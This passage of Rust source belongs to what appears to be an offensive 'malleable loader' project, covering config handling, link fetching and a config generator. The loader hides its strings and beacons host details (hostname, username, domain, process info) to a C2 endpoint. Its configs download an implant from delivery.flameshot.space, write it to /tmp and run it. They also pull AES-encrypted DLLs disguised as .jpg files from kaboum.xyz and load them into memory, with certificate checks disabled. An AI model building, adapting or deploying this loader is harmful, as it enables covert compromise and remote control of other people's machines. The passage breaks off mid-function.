serialize_to_file_pretty(&self, path_file: &str) { 152 | let serialized: String = serde_json::to_string_pretty(&self).unwrap(); 153 | fs::write(path_file, &serialized).expect("Unable to write file"); 154 | } 155 | pub fn concat_loader_jsondata(&self) -> String { 156 | serde_json::to_string(&self).unwrap() 157 | } 158 | pub fn print_loader_hash(&self) { 159 | debug!( 160 | "{}{}", 161 | encrypt_string!("hash: "), 162 | self.calculate_loader_hash() 163 | ); 164 | } 165 | pub fn calculate_loader_hash(&self) -> String { 166 | let serialized = self.concat_loader_jsondata(); 167 | let data = serialized; 168 | let digest = sha2_512::chksum(data).unwrap(); 169 | digest.to_hex_lowercase() 170 | } 171 | pub fn is_same_loader_hash(&self, otherloader: &Config) -> bool { 172 | let loader_hash = self.calculate_loader_hash(); 173 | let otherloader_hash = otherloader.calculate_loader_hash(); 174 | loader_hash == otherloader_hash 175 | } 176 | pub fn is_same_loader(&self, otherloader: &Config) -> bool { 177 | let loader_serialized = self.concat_loader_jsondata(); 178 | let otherloader_serialized = otherloader.concat_loader_jsondata(); 179 | loader_serialized == otherloader_serialized 180 | } 181 | pub fn fromfile_master_keypair(path_file: &str) -> Ed25519KeyPair { 182 | let pkcs8_bytes: Vec = fs::read(path_file).unwrap(); 183 | signature::Ed25519KeyPair::from_pkcs8(pkcs8_bytes.as_ref()).unwrap() 184 | } 185 | 186 | pub fn exec_payloads(&self, running_thread: &mut Vec<(thread::JoinHandle<()>, Payload)>) { 187 | let mut nb_payload = 1; 188 | for payload in &self.payloads { 189 | info!( 190 | "{}/{}{}{:?}", 191 | nb_payload, 192 | &self.payloads.len(), 193 | encrypt_string!(" payload: "), 194 | &payload 195 | ); 196 | 197 | //clean the running_thread 198 | running_thread.retain(|x| x.0.is_finished() == false); 199 | 200 | if payload.is_already_running(running_thread) == false { 201 | match payload.exec_payload(&self) { 202 | PayloadExec::NoThread() => (), 203 | PayloadExec::Thread(join_handle, payload) => { 204 | running_thread.push((join_handle, payload)); 205 | () 206 | } 207 | } 208 | } 209 | nb_payload = nb_payload + 1; 210 | } 211 | 212 | //clean the running_thread 213 | running_thread.retain(|x| x.0.is_finished() == false); 214 | } 215 | 216 | pub fn stop_defuse(&self, defuse_list: &Vec) -> bool { 217 | let mut nb_defuse: i32 = 1; 218 | let mut check_this_defuse = true; 219 | for defuse in defuse_list { 220 | info!( 221 | "{}/{}{}{:?}", 222 | nb_defuse, 223 | defuse_list.len(), 224 | encrypt_string!(" defuse: "), 225 | defuse 226 | ); 227 | if check_this_defuse { 228 | if defuse.stop_the_exec(&self) { 229 | match defuse.get_operator() { 230 | Operator::AND => return true, 231 | Operator::OR => {} 232 | } 233 | } else { 234 | match defuse.get_operator() { 235 | Operator::AND => {} 236 | Operator::OR => check_this_defuse = false, 237 | } 238 | } 239 | } else { 240 | match defuse.get_operator() { 241 | Operator::AND => check_this_defuse = true, 242 | Operator::OR => {} 243 | } 244 | } 245 | nb_defuse = nb_defuse + 1; 246 | } 247 | false 248 | } 249 | pub fn sleep_and_jitt(&self) { 250 | let mut rng: rand::prelude::ThreadRng = rand::thread_rng(); 251 | let random_number: f64 = rng.gen(); 252 | 253 | let jitt = (self.jitt as f64) * random_number; 254 | let total_sleep = (self.sleep as f64) + jitt; 255 | info!("{}{}", encrypt_string!("sleep: "), total_sleep); 256 | let sleep_time: time::Duration = time::Duration::from_millis((total_sleep * 1000.0) as u64); 257 | thread::sleep(sleep_time); 258 | } 259 | 260 | // try to fetch a new config, if no config are found return self. if no config is return from pool, need to try the next pool 261 | pub fn update_config(&self, session_id: &String, running_thread: &Vec) -> Config { 262 | let mut pool_nb: i32 = 0; 263 | for (_pool_nb, (pool_name, pool_links)) in &self.update_links { 264 | pool_nb = pool_nb + 1; 265 | info!( 266 | "{}/{}{}{}", 267 | pool_nb, 268 | &self.update_links.len(), 269 | encrypt_string!(" PoolLinks: "), 270 | &pool_name 271 | ); 272 | match pool_links.update_pool(&self, session_id, running_thread) { 273 | Ok(newconf) => { 274 | if self.is_same_loader(&newconf) { 275 | info!( 276 | "{}", 277 | encrypt_string!( 278 | "[+] the new config is identical to the current config" 279 | ) 280 | ); 281 | info!( 282 | "{}", 283 | encrypt_string!( 284 | "[+] DECISION: keep the same active CONFIG, and run the payloads" 285 | ) 286 | ); 287 | } else { 288 | info!( 289 | "{}", 290 | encrypt_string!("the new config is different from the current config") 291 | ); 292 | info!( 293 | "{}", 294 | encrypt_string!( 295 | "[+] DECISION: replace the active CONFIG, and run the payloads" 296 | ) 297 | ); 298 | } 299 | 300 | return newconf; 301 | } 302 | Err(error) => { 303 | warn!( 304 | "{}{}", 305 | encrypt_string!("[+] Switch to next PoolLinks, reason: "), 306 | error 307 | ); 308 | () 309 | } 310 | }; 311 | } 312 | warn!( 313 | "{}", 314 | encrypt_string!("[+] All PoolLinks fetch without finding a new fresh VALID config") 315 | ); 316 | info!( 317 | "{}", 318 | encrypt_string!("[+] DECISION: keep the same active CONFIG, and run the payloads") 319 | ); 320 | self.to_owned() 321 | } 322 | } 323 | -------------------------------------------------------------------------------- /src/link.rs: -------------------------------------------------------------------------------- 1 | use crate::config::Config; 2 | use crate::dataoperation::{apply_all_dataoperations, DataOperation, UnApplyDataOperation}; 3 | use crate::link_util::bytes_to_gigabytes_string; 4 | use crate::link_util::cmdline; 5 | use crate::link_util::get_domain_name; 6 | use crate::link_util::process_name_and_parent; 7 | use crate::link_util::process_path; 8 | use crate::link_util::working_dir; 9 | use crate::payload::Payload; 10 | use crate::poollink::Advanced; 11 | 12 | use anyhow::bail; 13 | use anyhow::Result; 14 | use rand::Rng; 15 | use ring::signature::{self, KeyPair}; 16 | use serde::{Deserialize, Serialize}; 17 | use std::fs; 18 | use std::io::Read; 19 | use std::process; 20 | use std::time::Duration; 21 | use std::{thread, time}; 22 | use sysinfo::System; 23 | //use sysinfo::{ Components, Disks, Networks, System, Pid , get_current_pid}; 24 | use attohttpc::header; 25 | 26 | use cryptify::encrypt_string; 27 | use log::debug; 28 | use log::info; 29 | 30 | #[derive(Serialize, Deserialize, Debug, PartialEq, Clone)] 31 | pub enum Link { 32 | HTTP(HTTPLink), 33 | DNS(DNSLink), 34 | FILE(FileLink), 35 | MEMORY(MemoryLink), 36 | HTTPPostC2(HTTPPostC2Link), 37 | } 38 | impl Link { 39 | pub fn print_link_compact(&self) { 40 | info!("{:?}", self); 41 | } 42 | 43 | pub fn fetch_config( 44 | &self, 45 | config: &Config, 46 | advanced: &Advanced, 47 | link_nb: i32, 48 | session_id: &String, 49 | running_thread: &Vec, 50 | ) -> Result { 51 | let result = self.fetch_data_with_post(session_id, running_thread, config); 52 | let data: Vec = match result { 53 | Ok(data) => data, 54 | Err(error) => bail!( 55 | "{}{}{}{}", 56 | encrypt_string!("link "), 57 | link_nb, 58 | encrypt_string!(" fetch_data() error: "), 59 | error 60 | ), 61 | }; 62 | debug!("{}", encrypt_string!("deserialized data")); 63 | let newconfig: Config = match serde_json::from_slice(&data) { 64 | Ok(newconfig) => newconfig, 65 | Err(error) => bail!( 66 | "{}{}{}{}", 67 | encrypt_string!("link "), 68 | link_nb, 69 | encrypt_string!(" deserialized data error: "), 70 | error 71 | ), 72 | }; 73 | match config.verify_newconfig_signature(&newconfig) { 74 | Ok(()) => (), 75 | _unspecified => { 76 | bail!( 77 | "{}{}{}", 78 | encrypt_string!("link "), 79 | link_nb, 80 | encrypt_string!(" config signature: verify FAIL") 81 | ) 82 | } 83 | } 84 | if advanced.accept_old == false { 85 | if config.date > newconfig.date { 86 | bail!( 87 | "{}{}{}", 88 | encrypt_string!("link "), 89 | link_nb, 90 | encrypt_string!(" config date: TOO OLD") 91 | ) 92 | } 93 | }; 94 | info!( 95 | "{}{}{}", 96 | encrypt_string!("link "), 97 | link_nb, 98 | encrypt_string!(" config signature: VERIFIED") 99 | ); 100 | Ok(newconfig) 101 | } 102 | } 103 | 104 | #[derive(Serialize, Deserialize, Debug, PartialEq, Clone)] 105 | pub struct HTTPLink { 106 | pub url: String, 107 | pub dataoperation: Vec, 108 | pub sleep: u64, 109 | pub jitt: u64, 110 | } 111 | #[derive(Serialize, Deserialize, Debug, PartialEq, Clone)] 112 | pub struct DNSLink { 113 | pub dns: String, 114 | pub dataoperation: Vec, 115 | pub sleep: u64, 116 | pub jitt: u64, 117 | } 118 | 119 | #[derive(Serialize, Deserialize, Debug, PartialEq, Clone)] 120 | pub struct FileLink { 121 | pub file_path: String, 122 | pub dataoperation: Vec, 123 | pub sleep: u64, 124 | pub jitt: u64, 125 | } 126 | 127 | #[derive(Serialize, Deserialize, Debug, PartialEq, Clone)] 128 | pub struct MemoryLink { 129 | pub memory_nb: i32, 130 | pub dataoperation: Vec, 131 | pub sleep: u64, 132 | pub jitt: u64, 133 | } 134 | 135 | #[derive(Serialize, Deserialize, Debug, PartialEq, Clone)] 136 | pub struct HTTPPostC2Link { 137 | pub url: String, 138 | pub dataoperation: Vec, 139 | pub dataoperation_post: Vec, 140 | pub sleep: u64, 141 | pub jitt: u64, 142 | } 143 | 144 | pub trait LinkFetch { 145 | fn download_data(&self, config: &Config) -> Result, anyhow::Error>; 146 | fn download_data_post( 147 | &self, 148 | session_id: &String, 149 | running_thread: &Vec, 150 | config: &Config, 151 | ) -> Result, anyhow::Error>; 152 | fn get_target(&self) -> String; 153 | fn get_dataoperation(&self) -> Vec; 154 | fn get_sleep(&self) -> u64; 155 | fn get_jitt(&self) -> u64; 156 | 157 | fn sleep_and_jitt(&self) { 158 | let mut rng: rand::prelude::ThreadRng = rand::thread_rng(); 159 | let random_number: f64 = rng.gen(); 160 | 161 | let jitt = (self.get_jitt() as f64) * random_number; 162 | let total_sleep = (self.get_sleep() as f64) + jitt; 163 | if total_sleep != 0.0 { 164 | info!("{}{}", encrypt_string!("sleep: "), total_sleep); 165 | }; 166 | let sleep_time: time::Duration = time::Duration::from_millis((total_sleep * 1000.0) as u64); 167 | thread::sleep(sleep_time); 168 | } 169 | 170 | fn un_apply_all_dataoperations(&self, mut data: Vec) -> Result, anyhow::Error> { 171 | for operation in self.get_dataoperation() { 172 | data = operation.un_apply_one_operation(data)?; 173 | } 174 | Ok(data) 175 | } 176 | 177 | fn fetch_data(&self, config: &Config) -> Result, anyhow::Error> { 178 | self.sleep_and_jitt(); 179 | let data = self.download_data(config)?; 180 | self.un_apply_all_dataoperations(data) 181 | } 182 | 183 | fn fetch_data_with_post( 184 | &self, 185 | session_id: &String, 186 | running_thread: &Vec, 187 | config: &Config, 188 | ) -> Result, anyhow::Error> { 189 | self.sleep_and_jitt(); 190 | let data = self.download_data_post(session_id, running_thread, config)?; 191 | self.un_apply_all_dataoperations(data) 192 | } 193 | } 194 | 195 | impl LinkFetch for Link { 196 | fn download_data(&self, config: &Config) -> Result, anyhow::Error> { 197 | match &self { 198 | Link::HTTP(link) => link.download_data(config), 199 | Link::DNS(link) => link.download_data(config), 200 | Link::FILE(link) => link.download_data(config), 201 | Link::MEMORY(link) => link.download_data(config), 202 | Link::HTTPPostC2(link) => link.download_data(config), 203 | } 204 | } 205 | 206 | //TODO remove duplicate code : https://hoverbear.org/blog/optional-arguments/ 207 | fn download_data_post( 208 | &self, 209 | session_id: &String, 210 | running_thread: &Vec, 211 | config: &Config, 212 | ) -> Result, anyhow::Error> { 213 | match &self { 214 | Link::HTTP(link) => link.download_data(config), 215 | Link::DNS(link) => link.download_data(config), 216 | Link::FILE(link) => link.download_data(config), 217 | Link::MEMORY(link) => link.download_data(config), 218 | Link::HTTPPostC2(link) => link.download_data_post(session_id, running_thread, config), 219 | } 220 | } 221 | 222 | fn get_target(&self) -> String { 223 | match &self { 224 | Link::HTTP(link) => link.get_target(), 225 | Link::DNS(link) => link.get_target(), 226 | Link::FILE(link) => link.get_target(), 227 | Link::MEMORY(link) => link.get_target(), 228 | Link::HTTPPostC2(link) => link.get_target(), 229 | } 230 | } 231 | fn get_dataoperation(&self) -> Vec { 232 | match &self { 233 | Link::HTTP(link) => link.get_dataoperation(), 234 | Link::DNS(link) => link.get_dataoperation(), 235 | Link::FILE(link) => link.get_dataoperation(), 236 | Link::MEMORY(link) => link.get_dataoperation(), 237 | Link::HTTPPostC2(link) => link.get_dataoperation(), 238 | } 239 | } 240 | 241 | fn get_sleep(&self) -> u64 { 242 | match &self { 243 | Link::HTTP(link) => link.get_sleep(), 244 | Link::DNS(link) => link.get_sleep(), 245 | Link::FILE(link) => link.get_sleep(), 246 | Link::MEMORY(link) => link.get_sleep(), 247 | Link::HTTPPostC2(link) => link.get_sleep(), 248 | } 249 | } 250 | fn get_jitt(&self) -> u64 { 251 | match &self { 252 | Link::HTTP(link) => link.get_jitt(), 253 | Link::DNS(link) => link.get_jitt(), 254 | Link::FILE(link) => link.get_jitt(), 255 | Link::MEMORY(link) => link.get_jitt(), 256 | Link::HTTPPostC2(link) => link.get_jitt(), 257 | } 258 | } 259 | } 260 | 261 | impl LinkFetch for FileLink { 262 | fn download_data(&self, _config: &Config) -> Result, anyhow::Error> { 263 | debug!("{}{}", encrypt_string!("File Open: "), &self.get_target()); 264 | let file_bytes: Vec = fs::read(self.get_target())?; 265 | Ok(file_bytes) 266 | } 267 | fn download_data_post( 268 | &self, 269 | _session_id: &String, 270 | _running_thread: &Vec, 271 | _config: &Config, 272 | ) -> Result, anyhow::Error> { 273 | todo!() 274 | } 275 | 276 | fn get_target(&self) -> String { 277 | format!("{}", self.file_path) 278 | } 279 | fn get_dataoperation(&self) -> Vec { 280 | self.dataoperation.to_vec() 281 | } 282 | fn get_sleep(&self) -> u64 { 283 | self.sleep 284 | } 285 | fn get_jitt(&self) -> u64 { 286 | self.jitt 287 | } 288 | } 289 | 290 | // ----------- COMPILE TIME mEMORy 291 | // MEMORY_1 292 | #[rustfmt::skip] 293 | #[cfg(not(feature="mem1"))] 294 | static MEMORY_1 : &[u8] = &[]; 295 | 296 | #[rustfmt::skip] 297 | #[cfg(all(feature="mem1",feature="ollvm"))] 298 | static MEMORY_1 : &[u8] = include_bytes!("/projects/config/mem1"); 299 | 300 | #[rustfmt::skip] 301 | #[cfg(all(feature="mem1",not(feature="ollvm")))] 302 | static MEMORY_1 : &[u8] = include_bytes!(concat!(env!("HOME"), "/.malleable/config/mem1")); 303 | 304 | // MEMORY_2 305 | #[rustfmt::skip] 306 | #[cfg(not(feature="mem2"))] 307 | static MEMORY_2 : &[u8] = &[]; 308 | 309 | #[rustfmt::skip] 310 | #[cfg(all(feature="mem2",feature="ollvm"))] 311 | static MEMORY_2 : &[u8] = include_bytes!("/projects/config/mem2"); 312 | 313 | #[rustfmt::skip] 314 | #[cfg(all(feature="mem2",not(feature="ollvm")))] 315 | static MEMORY_2 : &[u8] = include_bytes!(concat!(env!("HOME"), "/.malleable/config/mem2")); 316 | 317 | // MEMORY_3 318 | #[rustfmt::skip] 319 | #[cfg(not(feature="mem3"))] 320 | static MEMORY_3 : &[u8] = &[]; 321 | 322 | #[rustfmt::skip] 323 | #[cfg(all(feature="mem3",feature="ollvm"))] 324 | static MEMORY_3 : &[u8] = include_bytes!("/projects/config/mem3"); 325 | 326 | #[rustfmt::skip] 327 | #[cfg(all(feature="mem3",not(feature="ollvm")))] 328 | static MEMORY_3 : &[u8] = include_bytes!(concat!(env!("HOME"), "/.malleable/config/mem3")); 329 | 330 | // MEMORY_4 331 | #[rustfmt::skip] 332 | #[cfg(not(feature="mem4"))] 333 | static MEMORY_4 : &[u8] = &[]; 334 | 335 | #[rustfmt::skip] 336 | #[cfg(all(feature="mem4",feature="ollvm"))] 337 | static MEMORY_4 : &[u8] = include_bytes!("/projects/config/mem4"); 338 | 339 | #[rustfmt::skip] 340 | #[cfg(all(feature="mem4",not(feature="ollvm")))] 341 | static MEMORY_4 : &[u8] = include_bytes!(concat!(env!("HOME"), "/.malleable/config/mem4")); 342 | 343 | // ----------- COMPILE TIME mEMORy - end 344 | 345 | impl LinkFetch for MemoryLink { 346 | fn download_data(&self, _config: &Config) -> Result, anyhow::Error> { 347 | match self.memory_nb { 348 | 1 => Ok(MEMORY_1.to_vec()), 349 | 2 => Ok(MEMORY_2.to_vec()), 350 | 3 => Ok(MEMORY_3.to_vec()), 351 | 4 => Ok(MEMORY_4.to_vec()), 352 | //TODO raise Error here 353 | _ => Ok(vec![]), 354 | } 355 | } 356 | fn download_data_post( 357 | &self, 358 | _session_id: &String, 359 | _running_thread: &Vec, 360 | _config: &Config, 361 | ) -> Result, anyhow::Error> { 362 | todo!() 363 | } 364 | 365 | fn get_target(&self) -> String { 366 | format!("{}{}", encrypt_string!("MEMORY_"), self.memory_nb) 367 | } 368 | fn get_dataoperation(&self) -> Vec { 369 | self.dataoperation.to_vec() 370 | } 371 | fn get_sleep(&self) -> u64 { 372 | self.sleep 373 | } 374 | fn get_jitt(&self) -> u64 { 375 | self.jitt 376 | } 377 | } 378 | 379 | impl LinkFetch for DNSLink { 380 | fn download_data(&self, _config: &Config) -> Result, anyhow::Error> { 381 | todo!() 382 | } 383 | fn download_data_post( 384 | &self, 385 | _session_id: &String, 386 | _running_thread: &Vec, 387 | _config: &Config, 388 | ) -> Result, anyhow::Error> { 389 | todo!() 390 | } 391 | 392 | fn get_target(&self) -> String { 393 | format!("{}", self.dns) 394 | } 395 | fn get_dataoperation(&self) -> Vec { 396 | self.dataoperation.to_vec() 397 | } 398 | fn get_sleep(&self) -> u64 { 399 | self.sleep 400 | } 401 | fn get_jitt(&self) -> u64 { 402 | self.jitt 403 | } 404 | } 405 | 406 | impl LinkFetch for HTTPLink { 407 | fn download_data(&self, config: &Config) -> Result, anyhow::Error> { 408 | let build: attohttpc::RequestBuilder = attohttpc::get(&self.get_target()) 409 | .danger_accept_invalid_certs(true) 410 | .header(header::USER_AGENT, &config.link_user_agent) 411 | .timeout(Duration::from_secs(config.link_timeout)); 412 | let mut response = build.send()?; 413 | let mut body: Vec = Vec::new(); 414 | response.read_to_end(&mut body)?; 415 | Ok(body) 416 | } 417 | fn download_data_post( 418 | &self, 419 | _session_id: &String, 420 | _running_thread: &Vec, 421 | _config: &Config, 422 | ) -> Result, anyhow::Error> { 423 | todo!() 424 | } 425 | 426 | fn get_target(&self) -> String { 427 | format!("{}", self.url) 428 | } 429 | fn get_dataoperation(&self) -> Vec { 430 | self.dataoperation.to_vec() 431 | } 432 | fn get_sleep(&self) -> u64 { 433 | self.sleep 434 | } 435 | fn get_jitt(&self) -> u64 { 436 | self.jitt 437 | } 438 | } 439 | 440 | #[derive(Serialize, Deserialize, Debug, PartialEq, Clone)] 441 | pub struct LightPayload { 442 | pub todo: String, 443 | } 444 | 445 | #[derive(Serialize, Deserialize, Debug, PartialEq, Clone)] 446 | pub struct PostToC2 { 447 | pub session_id: String, 448 | pub hostname: String, 449 | pub username: String, 450 | pub domain: String, 451 | pub arch: String, 452 | pub distro: String, 453 | pub desktop_env: String, 454 | 455 | pub cmdline: String, 456 | pub working_dir: String, 457 | pub process_path: String, 458 | pub process_name: String, 459 | pub pid: u32, 460 | pub parent_name: String, 461 | pub ppid: u32, 462 | 463 | pub total_memory: String, 464 | pub used_memory: String, 465 | pub nb_cpu: usize, 466 | 467 | pub data_operation: Vec, 468 | pub running_thread: Vec, 469 | pub peer_public_key_bytes: Vec, 470 | pub sign_bytes: Vec, 471 | } 472 | 473 | impl LinkFetch for HTTPPostC2Link { 474 | fn download_data(&self, _config: &Config) -> Result, anyhow::Error> { 475 | todo!() 476 | } 477 | fn download_data_post( 478 | &self, 479 | session_id: &String, 480 | running_thread: &Vec, 481 | config: &Config, 482 | ) -> Result, anyhow::Error> { 483 | let mut running_thread_string = vec![]; 484 | for thread in running_thread { 485 | running_thread_string.push(thread.string_payload_compact()); 486 | } 487 | 488 | let key_pair: signature::Ed25519KeyPair = 489 | match signature::Ed25519KeyPair::from_pkcs8(config.loader_keypair.as_ref()) { 490 | Ok(key_pair) => key_pair, 491 | Err(error) => bail!("{}{}", encrypt_string!("loader_keypair use: "), error), 492 | }; 493 | let peer_public_key_bytes = key_pair.public_key().as_ref().to_vec(); 494 | 495 | let sys: System = System::new_all(); 496 | let (process_name, parent_name, ppid) = process_name_and_parent(&sys); 497 | let process_path = process_path(); 498 | 499 | let mut post_data: PostToC2 = PostToC2 { 500 | session_id: session_id.to_string(), 501 | hostname: whoami::devicename(), 502 | username: whoami::username(), 503 | domain: get_domain_name(), 504 | arch: whoami::arch().to_string(), 505 | distro: whoami::distro(), 506 | desktop_env: whoami::desktop_env().to_string(), 507 | pid: process::id(), 508 | ppid: ppid, 509 | process_name: process_name, 510 | process_path: process_path, 511 | working_dir: working_dir(), 512 | cmdline: cmdline(), 513 | parent_name: parent_name, 514 | total_memory: bytes_to_gigabytes_string(sys.total_memory()), 515 | used_memory: bytes_to_gigabytes_string(sys.used_memory()), 516 | nb_cpu: sys.cpus().len(), 517 | data_operation: self.dataoperation.clone(), 518 | running_thread: running_thread_string.clone(), 519 | peer_public_key_bytes: peer_public_key_bytes.clone(), 520 | sign_bytes: vec![], 521 | }; 522 | 523 | let sign_data = format!("{:?}", post_data); 524 | let sig: signature::Signature = key_pair.sign(sign_data.as_bytes()); 525 | let sign_bytes = sig.as_ref().to_vec(); 526 | post_data.peer_public_key_bytes = peer_public_key_bytes; 527 | post_data.sign_bytes = sign_bytes; 528 | 529 | let post_data_bytes = serde_json::to_vec(&post_data)?; 530 | let m: Vec = 531 | apply_all_dataoperations(&mut self.dataoperation_post.clone(), post_data_bytes)?; 532 | 533 | /* 534 | let client = reqwest::blocking::Client::builder() 535 | .danger_accept_invalid_certs(true) 536 | .timeout(Duration::from_secs(config.link_timeout)) 537 | .user_agent(&config.link_user_agent) 538 | .build()?; 539 | 540 | let mut res = client.post(&self.get_target()).body(m).send()?; 541 | let mut body: Vec = Vec::new(); 542 | res.read_to_end(&mut body)?; 543 | 544 | Ok(body) 545 | */ 546 | 547 | let build = attohttpc::post(&self.get_target()) 548 | .danger_accept_invalid_certs(true) 549 | .header(header::USER_AGENT, &config.link_user_agent) 550 | .timeout(Duration::from_secs(config.link_timeout)) 551 | .bytes(m); 552 | let mut response = build.send()?; 553 | let mut body: Vec = Vec::new(); 554 | response.read_to_end(&mut body)?; 555 | Ok(body) 556 | } 557 | 558 | fn get_target(&self) -> String { 559 | format!("{}", self.url) 560 | } 561 | fn get_dataoperation(&self) -> Vec { 562 | self.dataoperation.to_vec() 563 | } 564 | fn get_sleep(&self) -> u64 { 565 | self.sleep 566 | } 567 | fn get_jitt(&self) -> u64 { 568 | self.jitt 569 | } 570 | } 571 | -------------------------------------------------------------------------------- /src/bin/conf.rs: -------------------------------------------------------------------------------- 1 | extern crate argparse; 2 | 3 | use malleable_rust_loader::config::Config; 4 | use malleable_rust_loader::dataoperation::DataOperation; 5 | //use malleable_rust_loader::defuse::CheckInternet; 6 | use malleable_rust_loader::create_config::initialize_all_configs; 7 | use malleable_rust_loader::defuse::Defuse; 8 | use malleable_rust_loader::defuse::DomainJoin; 9 | use malleable_rust_loader::defuse::Hostname; 10 | use malleable_rust_loader::defuse::Operator; 11 | use malleable_rust_loader::link::FileLink; 12 | use malleable_rust_loader::link::HTTPLink; 13 | use malleable_rust_loader::link::HTTPPostC2Link; 14 | use malleable_rust_loader::link::Link; 15 | use malleable_rust_loader::link::MemoryLink; 16 | use malleable_rust_loader::payload::DllFromMemory; 17 | use malleable_rust_loader::payload::Exec; 18 | use malleable_rust_loader::payload::ExecPython; 19 | use malleable_rust_loader::payload::Payload; 20 | use malleable_rust_loader::payload::WriteFile; 21 | use malleable_rust_loader::payload::WriteZip; 22 | use malleable_rust_loader::poollink::Advanced; 23 | use malleable_rust_loader::poollink::PoolLinks; 24 | use malleable_rust_loader::poollink::PoolMode; 25 | 26 | use argparse::{ArgumentParser, Store, StoreTrue}; 27 | use ring::signature; 28 | use ring::signature::Ed25519KeyPair; 29 | use std::fs; 30 | 31 | extern crate env_logger; 32 | use log::error; 33 | use log::info; 34 | 35 | use std::collections::BTreeMap; 36 | 37 | fn fromfile_master_keypair(path_file: &str) -> Ed25519KeyPair { 38 | let pkcs8_bytes: Vec = fs::read(path_file).unwrap(); 39 | signature::Ed25519KeyPair::from_pkcs8(pkcs8_bytes.as_ref()).unwrap() 40 | } 41 | 42 | fn main() { 43 | env_logger::init(); 44 | let mut link_timeout: u64 = 10; 45 | let mut link_user_agent: String = 46 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0" 47 | .to_string(); 48 | let mut verbose = false; 49 | let mut payload = "".to_string(); 50 | let mut pool = "kaboum".to_string(); 51 | let mut output: String = concat!(env!("HOME"), "/.malleable/config/initial.json").to_string(); 52 | let mut keypair: String = concat!(env!("HOME"), "/.malleable/ed25519.u8").to_string(); 53 | let mut loader_keypair: String = 54 | concat!(env!("HOME"), "/.malleable/config/ed25519.u8").to_string(); 55 | let mut payload_dataope: String = 56 | concat!(env!("HOME"), "/.malleable/payload/kaboum.dll.dataop").to_string(); 57 | { 58 | let mut ap = ArgumentParser::new(); 59 | ap.set_description("Generate configuration model for rust malleable loader. You can modify example generated by hand or modify this conf.rs file to fit your need. by Brother🔥"); 60 | ap.refer(&mut payload) 61 | .add_argument("payload", Store, "choose a payload to generate the config, valid choice: banner, empty, writexeclin, dll, 2dll, dll2, py, file, memdll, wstunnel"); 62 | ap.refer(&mut pool).add_option( 63 | &["--pool"], 64 | Store, 65 | "choose a predefined PoolLinks (default: kaboum), choice: kaboumn, server", 66 | ); 67 | ap.refer(&mut verbose) 68 | .add_option(&["-v", "--verbose"], StoreTrue, "Be verbose"); 69 | ap.refer(&mut output).add_option( 70 | &["--output"], 71 | Store, 72 | "config output path, default: /.malleable/config/initial.json", 73 | ); 74 | ap.refer(&mut keypair).add_option(&["--keypair"], Store,"path of your private ed25519 key pair to sign configuration, default: ~/.malleable/ed25519.u8)"); 75 | ap.refer(&mut loader_keypair).add_option(&["--keypair"], Store,"path of the loader private ed25519 key pair to send authenticated data with HTTPPostC2Link, default: ~/.malleable/config/ed25519.u8)"); 76 | ap.refer(&mut payload_dataope).add_option(&["--payload-dataop"], Store,"path of the payload dataoperations (needed for AES because it require cryptmaterial), default: ~/.malleable/payload/sliver.dll.dataop"); 77 | ap.refer(&mut link_timeout).add_option( 78 | &["--link-timeout"], 79 | Store, 80 | "global timeout for link", 81 | ); 82 | ap.refer(&mut link_user_agent).add_option( 83 | &["--link-user-agent"], 84 | Store, 85 | "global user-agent for link", 86 | ); 87 | ap.parse_args_or_exit(); 88 | } 89 | let json_file = format!("{output}"); 90 | info!("[+] You choose payload type: {}", payload); 91 | 92 | let payload_choice: Vec; 93 | 94 | if payload == "banner".to_string() { 95 | info!("[+] Loader type choice: Banner"); 96 | payload_choice = vec![Payload::Banner()]; 97 | } else if payload == "empty".to_string() { 98 | info!("[+] Loader type choice: Empty"); 99 | payload_choice = vec![]; 100 | } else if payload == "writexeclin".to_string() { 101 | info!("[+] Loader type choice: WriteFile+Exec linux"); 102 | payload_choice = vec![ 103 | Payload::WriteFile(WriteFile { 104 | link: Link::HTTP(HTTPLink { 105 | url: String::from("https://delivery.flameshot.space/nologin/sliv_linux"), 106 | dataoperation: vec![], 107 | jitt: 0, 108 | sleep: 0, 109 | }), 110 | path: "/tmp/sliv_linux".to_string(), 111 | hash: "".to_string(), 112 | }), 113 | Payload::Exec(Exec { 114 | path: "/tmp/sliv_linux".to_string(), 115 | cmdline: "".to_string(), 116 | thread: true, 117 | }), 118 | ]; 119 | } else if payload == "dll".to_string() { 120 | info!("[+] Loader type choice: DllFromMemory [AES]"); 121 | let payload_dataoperation: Vec = 122 | serde_json::from_slice(&fs::read(&payload_dataope).unwrap()).unwrap(); 123 | payload_choice = vec![Payload::DllFromMemory(DllFromMemory { 124 | link: Link::HTTP(HTTPLink { 125 | url: String::from("https://kaboum.xyz/artdonjon/donjon_dll.jpg"), 126 | dataoperation: payload_dataoperation, 127 | jitt: 0, 128 | sleep: 0, 129 | }), 130 | dll_entrypoint: String::from("DllInstall"), 131 | thread: true, 132 | })]; 133 | } else if payload == "dll2".to_string() { 134 | info!("[+] Loader type choice: DllFromMemory [AES]"); 135 | let payload_dataoperation: Vec = 136 | serde_json::from_slice(&fs::read(&payload_dataope).unwrap()).unwrap(); 137 | payload_choice = vec![Payload::DllFromMemory(DllFromMemory { 138 | link: Link::HTTP(HTTPLink { 139 | url: String::from("https://kaboum.xyz/artdonjon/donjon_dll2.jpg"), 140 | dataoperation: payload_dataoperation, 141 | jitt: 0, 142 | sleep: 0, 143 | }), 144 | dll_entrypoint: String::from("DllInstall"), 145 | thread: true, 146 | })]; 147 | } else if payload == "2dll".to_string() { 148 | info!("[+] Loader type choice: DllFromMemory [AES]"); 149 | let payload_dataoperation: Vec = 150 | serde_json::from_slice(&fs::read(&payload_dataope).unwrap()).unwrap(); 151 | payload_choice = vec![ 152 | Payload::DllFromMemory(DllFromMemory { 153 | link: Link::HTTP(HTTPLink { 154 | url: String::from("https://kaboum.xyz/artdonjon/donjon_dll.jpg"), 155 | dataoperation: payload_dataoperation.clone(), 156 | jitt: 0, 157 | sleep: 0, 158 | }), 159 | dll_entrypoint: String::from("DllInstall"), 160 | thread: true, 161 | }), 162 | Payload::DllFromMemory(DllFromMemory { 163 | link: Link::HTTP(HTTPLink { 164 | url: String::from("https://kaboum.xyz/artdonjon/donjon_dll2.jpg"), 165 | dataoperation: payload_dataoperation, 166 | jitt: 0, 167 | sleep: 0, 168 | }), 169 | dll_entrypoint: String::from("DllInstall"), 170 | thread: true, 171 | }), 172 | ]; 173 | } else if payload == "py".to_string() { 174 | info!("[+] Loader type choice: ExecPython"); 175 | payload_choice = vec![ 176 | Payload::WriteZip(WriteZip { 177 | link: Link::HTTP(HTTPLink { 178 | url: String::from( 179 